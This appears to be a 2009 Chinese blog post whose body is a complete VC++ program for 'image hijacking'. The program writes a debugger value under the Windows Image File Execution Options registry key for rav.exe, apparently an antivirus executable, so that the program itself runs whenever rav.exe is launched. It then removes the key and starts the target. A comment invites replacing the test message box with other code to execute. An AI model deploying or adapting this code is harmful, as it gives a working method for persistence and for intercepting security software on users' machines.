---
title: "VC++实现镜像劫持（360保险箱启动原理）"
author: "winzenghua"
date: "2009-08-26T13:41:00Z"
tags: []
slug: "vc-360"
draft: false
lastmod: "2009-08-26T13:41:00Z"
id: 948110
url: "https://java4gis.iteye.com/blog/948110"
---

#include "stdafx.h"  
#include &lt;stdio.h&gt;  
#include &lt;windows.h&gt;

int main(int argc, char* argv\[])  
{  
char temp\[256];  
DWORD ret;  
LPCTSTR szRegKey="SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options"; //定义字符串指针，保存映像劫持的键位  
HKEY h\_KEY;  
if(argc!=1) //如果参数不是1个，提取第2个参数，也就是被劫持程序的路径  
{  
memset(temp,0,256);  
strcpy(temp,argv\[1]);  
for(int i=0;i&lt;strlen(temp);i++) //将路径中的\\换为/，也可以换为\\\\，就是代码长了点  
{  
if(temp\[i]=='\\\\')  
temp\[i]='/';  
}  
ret=RegOpenKeyEx(HKEY\_LOCAL\_MACHINE,szRegKey,0,KEY\_ALL\_ACCESS,&h\_KEY); //打开注册表中需要映像劫持的子键获得句柄  
if(ret==ERROR\_SUCCESS)  
{  
printf("open ok!\\n");  
if(ERROR\_SUCCESS==RegDeleteKey(h\_KEY,"rav.exe")) //将上面打开的子键下的rav子键删除  
{  
printf("delete ok!\\n");  
RegCloseKey(h\_KEY);  
WinExec(temp,SW\_SHOW); //运行被劫持的程序  
}  
else  
{  
printf("delete failed!\\n");  
RegCloseKey(h\_KEY);  
}  
}  
else  
printf("open failed!\\n");  
}  
memset(temp,0,256);  
GetModuleFileName(NULL,temp,256); //得到程序自己的路径，为下面写入注册表做准备  
HKEY hResultKey = NULL;  
if (ERROR\_SUCCESS == RegOpenKeyEx(HKEY\_LOCAL\_MACHINE,szRegKey, 0, KEY\_ALL\_ACCESS,&h\_KEY)) //打开注册表中映像劫持的子键，获得句柄  
{  
DWORD dw;  
ret = RegCreateKeyEx(h\_KEY,"rav.exe", 0, REG\_NONE,REG\_OPTION\_NON\_VOLATILE, KEY\_ALL\_ACCESS, NULL,&hResultKey, &dw); //在上面打开的子键下创建rav子键并打开，获得句柄  
if (ret!=ERROR\_SUCCESS)  
{  
RegCloseKey(h\_KEY);  
printf("creat failed!\\n");  
return 1;  
}  
printf("creat ok!\\n");  
ret=RegSetValueEx(hResultKey,"debugger",0,REG\_SZ,(const BYTE \*)temp,strlen(temp)+1); //在rav键上创建debugger键并设置值为本程序的路径用于映像劫持  
if(ret!=ERROR\_SUCCESS)  
{  
RegCloseKey(h\_KEY);  
RegCloseKey(hResultKey);  
return 1;  
}  
RegCloseKey(h\_KEY);  
RegCloseKey(hResultKey);  
printf("set ok!\\n");  
}  
MessageBox(NULL,"ok!","成功！",MB\_OK); //用于测试程序，可换为其他需要执行代码

return 0;  
}